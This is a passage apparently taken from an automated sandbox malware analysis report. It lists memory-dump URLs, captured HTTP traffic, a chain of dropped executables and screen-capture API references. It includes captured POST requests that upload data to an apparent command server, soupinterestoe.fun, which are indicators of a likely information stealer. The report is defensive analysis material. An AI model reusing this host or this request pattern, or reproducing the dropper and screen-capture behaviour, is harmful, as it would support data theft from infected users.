"http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0entrust.net1;092www.entrust.net/cps" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0v7.1ctj7+>.entruscom1" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0>ej-+\lu>gvpob\hzagxr" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszyscom1" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.microsoft.com0!aob$lb" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0j!p-f+;z" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://r3.o.lencr.org0" - Source: "00000000-00005528.00000002.68940.01030000.00000004.mdmp") Found URL "http://r3.i.lencr.org/0*.company.io" - Source: "00000000-00005528.00000002.68940.01030000.00000004.mdmp") Found URL "http://x1.i.lencr.org/0'http://x1.c.lencr.org/0" - Source: "00000000-00005528.00000002.68940.01030000.00000004.mdmp") Found URL "http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00005528.00000002.68940.01030000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0;l)" - Source: "00000000-00005528.00000002.68940.01030000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0j!p-f+;z" - Source: "00000000-00005528.00000002.68940.02F70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005528.00000002.68940.02F70000.00000004.mdmp") Found URL "http://www.microsoft.com0!aob$lb" - Source: "00000000-00005528.00000002.68940.02F70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0j!p-f+;z" - Source: "00000000-00005528.00000002.68940.02FF9000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005528.00000002.68940.02FF9000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0j!p-f+;z" - Source: "00000000-00005528.00000002.68940.0A200000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005528.00000002.68940.0A200000.00000004.mdmp") Found URL "http://www.microsoft.com0!aob$lb" - Source: "00000000-00005528.00000002.68940.0A200000.00000004.mdmp")60:Ta80,Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 204 No ContentContent-Length: 0Cross-Origin-Resource-Policy: cross-originDate: Sat, 30 Dec 2023 14:51:27 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 304 Not ModifiedDate: Fri, 29 Dec 2023 01:22:56 GMTExpires: Sat, 28 Dec 2024 01:22:56 GMTLast-Modified: Mon, 16 Oct 2017 17:32:56 GMTCache-Control: public, max-age=31536000Age: 134902Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /rsrc.php/yb/r/hLRJ1GG_y0J.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoDNT: 1Connection: Keep-AliveHost: www.google.com" (Indicator: "HTTP/1.1"; File: "SSL") Found string "POST /api HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004104.00000000.69290.001E0000.00000004.mdmp, 00000000-00004104.00000001.71212.001E0000.00000004.mdmp, 00000000-00004104.00000002.73135.001E0000.00000004.mdmp, 00000000-00004104.00000003.75745.001E0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00004104.00000000.69290.001E0000.00000004.mdmp, 00000000-00004104.00000001.71212.001E0000.00000004.mdmp, 00000000-00004104.00000002.73135.001E0000.00000004.mdmp, 00000000-00004104.00000003.75745.001E0000.00000004.mdmp") Found string "i HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004104.00000003.75745.00B1E000.00000004.mdmp")61:T2994,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfq" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "hLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "P4v0cB1JgmGggC72NkK8MCEATh56TcXPL" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFNZazT" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 30 Dec 2023 13:03:01 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 30 Dec 2023 13:03:01 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvz" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEA1uFYrLabZxEtE2U5X5DGM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEA1uFYr" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEA1uFYrLabZxEtE2U5X5DGM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAdS7ewt%2F%2FetmSOTnuOLgSw%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FkK8CB3U8zNllZGKiErhZcjsCEAdS7ew" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAdS7ewt%2F%2FetmSOTnuOLgSw%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "OpRKQyDbw9ZLfytL72V05LayItbjgdkPD" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base62 string in header "OpRKQyDbw9ZLfytL72V05LayItbjgdkPD" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffH" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEA177el9ggmWelJjG4vd" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "OpRKQyDbw9ZLfytL72V05LayItbjgdkPD" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun"62:T74c,Observed string: "__d("URISchemes",["$InternalEnum"],(function(a,b,c,d,e,f){"use strict";var g=new Set(["about","accountscenter","aidemos","aistudio","apk","blob","cmms","fb","fba","fbatwork","fb-ama","fb-internal","fb-workchat","fb-workchat-secure","fb-messenger","fb-messenger-public","fb-messenger-group-thread","fb-page-messages","fb-pma","fbcf","fbconnect","fbinternal","fbmobilehome","fbrpc","file","flipper","ftp","gtalk","http","https","mailto","wss","ms-app","intent","itms","itms-apps","itms-services","lasso","market","svn+ssh","fbstaging","tel","sms","pebblejs","sftp","whatsapp","moments","flash","fblite","chrome-extension","webcal","instagram","iglite","fb124024574287414","fb124024574287414rc","fb124024574287414master","fb1576585912599779","fb929757330408142","designpack","fbpixelcloud","fbapi20130214","fb1196383223757595","tbauth","oculus","oculus.store","oculus.feed","oculusstore","socialplatform","odh","com.oculus.rd","aria","skype","ms-windows-store","callto","messenger","workchat","fb236786383180508","fb1775440806014337","data","fb-mk","munki","origami-file","fb-nimble-vrsrecorder","fb-nimble-monohandtrackingvis","together","togetherbl","horizonlauncher","venues","whatsapp-consumer","whatsapp-smb","fb-ide-opener","fb-vscode","fb-vscode-insiders","editor","spark-studio","spark-player","spark-simulator","arstudio","manifold","origami-internal","origami-public","stella","mwa","mattermost","logaggregator","pcoip","cinema","home","oculus360photos","systemux"]),h=b("$InternalEnum")({EXPLICITLY_ALLOWED_SCHEMES_ONLY:"explicitly_allowed_schemes_only",INCLUDE_DEFAULTS:"include_defaults"});function a(a,b,c){b===void 0&&(b=h.INCLUDE_DEFAULTS);return a==null||a===""?!0:(c==null?void 0:c.has(a.toLowerCase()))||b===h.INCLUDE_DEFAULTS&&g.has(a.toLowerCase())}f.Options=h;f.isAllowed=a}),66);" (Indicator: ""sftp") in Source: sLMNFasP7gH_1_.js63:T4a1,"dcb10b49c7d8d03b15484c3ca04e7086.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "FindNextFileW" with parameter 7oU4qf55.exe (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "FindNextFileW" with parameter tv5xp30.exe (UID: 00000000-00005184) "tv5xp30.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00005220) "tv5xp30.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005220) "tv5xp30.exe" called "FindNextFileW" with parameter 6vx5my2.exe (UID: 00000000-00005220) "tv5xp30.exe" called "FindNextFileW" with parameter AD1Sg20.exe (UID: 00000000-00005220) "AD1Sg20.exe" called "FindFirstFileW" with parameter %TEMP%\IXP002.TMP\*.* (UID: 00000000-00005176) "AD1Sg20.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005176) "AD1Sg20.exe" called "FindNextFileW" with parameter 2kJ9830.exe (UID: 00000000-00005176) "AD1Sg20.exe" called "FindNextFileW" with parameter 5Jy6wg6.exe (UID: 00000000-00005176)64:T40f,file/memory contains long string with (Indicator: ".decrypt"; File: "qvzskUrYlYC_1_.js") file/memory contains long string with (Indicator: ".encrypt"; File: "qvzskUrYlYC_1_.js") file/memory contains long string with (Indicator: "base64"; File: "qvzskUrYlYC_1_.js") file/memory contains long string with (Indicator: "blowfish"; File: "qvzskUrYlYC_1_.js") file/memory contains long string with (Indicator: "aes"; File: "SSL") file/memory contains long string with (Indicator: "base64"; File: "identifier_1_.htm") file/memory contains long string with (Indicator: "aes"; File: "6bjw9N12j0I_1_.js") file/memory contains long string with (Indicator: ".encrypt"; File: "6bjw9N12j0I_1_.js") file/memory contains long string with (Indicator: "base64"; File: "6bjw9N12j0I_1_.js") file/memory contains long string with (Indicator: ".decrypt"; File: "6bjw9N12j0I_1_.js") file/memory contains long string with (Indicator: "base64"; File: "login_1_.htm") file/memory contains long string with (Indicator: "base64"; File: "sLMNFasP7gH_1_.js")65:Tcb4,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetDC" (Indicator: "GetDC"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: 